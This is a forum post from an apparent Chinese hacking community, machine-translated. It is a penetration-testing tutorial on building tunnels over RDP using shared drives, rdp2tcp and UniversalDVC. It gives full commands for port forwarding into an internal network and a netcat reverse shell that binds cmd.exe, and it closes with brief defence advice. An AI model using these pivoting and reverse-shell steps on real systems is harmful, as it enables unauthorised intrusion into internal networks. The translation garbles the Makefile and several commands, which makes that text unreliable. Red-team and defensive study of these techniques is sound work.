跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用远程桌面协议建立通道的渗透提示——


风尘剑心

推荐的帖子

0x00 前言

最近从@cpl3h的博客中了解到如何使用远程桌面协议建立通道。

本文将对这种方法进行梳理,并根据自己的经验补充个人理解。

学习地址:

https://ijustwannared . team/2019/11/07/C2-over-RDP-virtual-channels/

0x01 简介

本文将介绍以下内容:

使用场景

使用共享文件建立通道。

使用rdp2tcp建立通道

使用UniversalDVC建立通道

利用率分析

辩护建议

0x02 使用场景

因为防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何利用这台Windows服务器作为跳板进入内网呢?

简要描述下图

1-1.png

0x03 使用共享文件建立通道

读写RDP客户端和RDP服务器之间共享的文件,作为数据传输的通道。

概念验证:

https://github.com/outflanknl/external_c2

这是根据Cobalt Strike中的外部C2规范编写的POC。

实现原理:

建立远程桌面连接时,可以在RDP客户端和RDP服务器之间创建一个共享文件夹,可以读写共享文件作为数据传输的通道。

1.Windows系统连接远程桌面并开启文件共享

(1)通过配置mstsc.exe开启文件共享

如下图

1-2.png

(2)使用FreeRDP开启文件共享

下载地址:

https://cloudbase.it/freerdp-for-windows-nightly-builds/

命令示例:

wfreerdp/v:192 . 168 . 112 . 129:3389-u:1-p:test 123!/cert-ignore /drive:share1,c:\

2.Kali系统连接远程桌面并开启文件共享

(1)使用xfreerdp开启文件共享

共享本地文件夹/tmp的命令如下:

xfreerdp/v:192 . 168 . 112 . 129:3389/u:1/p:test 123!/cert-ignore /drive:share1,/tmp

(2)使用rdesktop开启文件共享

共享本地文件夹/tmp的命令如下:

rdesktop 192 . 168 . 112 . 129-u1-ptest 123!-r disk:share1=/tmp

在RDP服务器上,可以通过\\tsclient\访问共享文件资源。

关于通过文件读写进行数据传输的详细信息,请参考xpn的文章:

https://blog . xpn sec . com/exploring-cobalt-strikes-external C2-framework/

0x04 使用rdp2tcp建立通道

Rdp2tcp使用Rdp虚拟通道功能来复用端口。

可用功能:

转发TCP端口转发

反向TCP端口转发

处理标准输入/输出转发

SOCKS5代理

概念验证:

https://github.com/V-E-O/rdp2tcp

测试系统:Kali2 x64

1.下载并编译rdp2tcp

(1)安装mingw-w64

该命令如下所示:

apt-get安装mingw-w64

(2)下载rdp2tcp

git克隆https://github.com/V-E-O/rdp2tcp.git

cd rdp2tcp

(3)修改配置文件

Rdp2tcp默认不支持64位exe的编译,需要修改配置文件,添加编译64位exe的配置信息。

修改Makefile,新的内容如下:

所有:客户端服务器-mingw64

客户端:客户端/rdp2tcp

客户端/rdp2tcp:

make -C客户端

# server-mingw 32:server/RDP 2 TCP . exe

#server/rdp2tcp.exe:

# make-C server-f makefile . mingw 32

server-mingw 64:server/RDP 2 TCP 64 . exe

server/rdp2tcp64.exe:

make -C server -f Makefile.mingw64

清洁:

使-C客户端干净

# make-C server-f makefile . mingw 32 clean

make-C server-f makefile . mingw 64 clean

清洁make -C工具

注:

因为我们用的是64位的操作系统,安装的是64位的mingw,所以这里设置的是生成64位的exe。

使用以下内容创建一个新文件/server/Makefile.mingw64:

BIN=rdp2tcp64.exe

CC=i686-w64-mingw32-gcc

CFLAGS=-Wall -g \

-D_WIN32_WINNT=0x0501 \

我./常见

# -D_WIN32_WINNT=0x0501

# -D_WIN32_WINNT=0x0501 -DDEBUG

LDFLAGS=-lwtsapi32 -lws2_32

OBJS=./common/iobuf.o \

./common/print.o \

./common/msgparser.o \

./common/nethelper.o \

./common/netaddr.o \

errors.o aio.o事件. o \

tunnel.o通道. o过程. o命令. o main.o

all: clean_common $(BIN)

清洁_常见:

$(MAKE) -C./普通清洁

$(斌):$(OBJS)

$(抄送)-o $@ $(OBJS) $(LDFLAGS)

%.o: %。c

$(CC) $(CFLAGS) -o $@ -c $。

清洁:

林吉特(OBJS)元(宾)

(4)编译

该命令如下所示:

制造

生成以下文件:

/server/rdp2tcp64.exe

/client/rdp2tcp

2.安装xfreerdp

Kali系统中默认安装的Xfreerdp不支持TCP重定向。

如下图

2-2.png

如果支持TCP重定向功能,程序将回显以下内容

2-1.png

你需要重新下载并编译xfreerdp。我在这里使用的版本是免费的。

参考链接:

https://ci.freerdp.com/job/freerdp-nightly-binaries/

我这里用的发行版是bionic,完整的安装命令如下:

echo ' deb http://pub.freerdp.com/repositories/deb/bionic/freerdp-nightly main '/etc/apt/sources . list

wget-O-http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add-

apt-get更新

apt-get每晚免费安装

对应的安装路径是/opt/freerdp-nightly。

启动新版xfreerdp,对应的路径是:/opt/freerdp-nightly/bin/XFree RDP

新的xfreerdp支持TCP重定向,如下图所示

2-3.png

3.使用xfreerdp连接远程桌面并建立通道

本文介绍了转发到TCP端口的方法。

(1)执行xfreerdp并开启TCP重定向功能

在Kali系统上执行:

/opt/freerdp-nightly/bin/xfreerdp/v:192 . 168 . 112 . 129:3389/u:1/p:test 123!/cert-ignore/RDP 2 TCP:/root/RDP 2 TCP/client/RDP 2 TCP

(2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限)

执行结果如下

2-4.png

(3)在Kali系统上启动rdp2tcp.py

该命令如下所示:

CD RDP 2 TCP/工具

python rdp2tcp.py

添加转发端口转发(本地445-192.168.112.129:445)的命令如下:

python rdp2tcp.py添加转发127.0.0.1 445 192.168.112.129 445

输出结果如下

3-1.png

(4)访问本地445端口

访问本地端口445的数据被转发到192.168.112.129的端口445,如下图所示。

3-2.png

转发端口转发已成功建立。

0x05 使用UniversalDVC建立通道

UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道。

概念验证:

https://github.com/earthquake/UniversalDVC

测试系统:Win7 x64

1.安装UDVC插件

下载的64位文件具有以下地址:

https://github . com/seismic/universal DVC/files/1880297/UDVC-x64 . zip

将64位dll保存在%windir%\system32下。

注册dll的命令如下:

regsvr32.exeUDVC-Plugin.x64.dll

如下图

4-1.png

UDVC插件注册后,会创建一个注册表项来保存配置信息。

配置文件的位置:HKEY当前用户软件微软终端服务器客户端默认插件

默认监听端口是31337。

注:

在RDP服务器启动UDVC-Server.exe之前,UDVC插件不会打开监听端口。

2.实现端口转发的功能

(1)将Mode设置为Socket server mode (0 - default)

修改注册表的Cmd命令是:

REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v mode/t REG _ DWORD/d 0/f

(2)设置监听端口为1234

修改注册表的Cmd命令是:

REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v port/t REG _ SZ/d 1234/f

(3)启动远程桌面客户端

该命令如下所示:

mstsc.exe

连接到远程桌面

(4)RDP Server启动UDVC-Server.exe

该命令如下所示:

UDVC-Server.x64.exe-c-p 80-I 192 . 168 . 112 . 129-0

(5)RDP Client打开浏览器并访问http://127.0.0.1:1234

获取内网192.168.112.129:80的数据

通道建立,简要流程图如下

4-2.png

3.实现反弹shell的功能

RDP服务器向RDP客户端发送一个shell。

RDP客户端可以实时控制RDP服务器并执行cmd命令。

(1)将Mode设置为Socket client mode (1)

修改注册表的Cmd命令是:

REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v mode/t REG _ DWORD/d 1/f

(2)设置监听端口为1234

修改注册表的Cmd命令是:

REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v port/t REG _ SZ/d 1234/f

(3)启动远程桌面客户端

该命令如下所示:

mstsc.exe

连接到远程桌面

(4)RDP Client使用nc监听本地端口1234

该命令如下所示:

nc64.exe-lvp 1234

(5)RDP Server启动UDVC-Server.exe

该命令如下所示:

UDVC-Server.x64.exe-p 5678-0

将建立一个动态虚拟通道:RDP服务器-RDP客户端:1234。

RDP服务器打开监听端口5678。

(6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe

该命令如下所示:

nc64.exe 5678-e c:\ windows \ system32 \ cmd . exe

通道建立,简要流程图如下

4-3.png

0x06 利用分析

对于这三种建立通道的方法(共享文件、rdp2tcp、UniversalDVC),前提是你已经获得了连接远程桌面的权限。

严格来说,使用这台远程桌面服务器已经可以访问内网资源了。

研究这种方法的意义在于,在某些情况下,远程桌面服务器无法运行我们的程序。

比如远程桌面服务器是Windows系统,我们要执行的程序只支持Linux,避免了程序移植的问题。

0x07 防御建议

1.网络外远程桌面服务器的安全性

如果攻击者能够使用远程桌面协议建立通道,就说明攻击者获得了这台服务器的权限。所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要防止密码爆炸。

2.使用组策略禁用重定向设备。

组策略位置:

计算机配置-管理模板-Windows组件-远程桌面服务-远程桌面会话主机-设备和资源重定向

0x08 小结

本文参考@cpl3h的文章,整理利用远程桌面协议建立通道的方法,补充个人理解,结合自身经验分析利用思路,总结防御建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...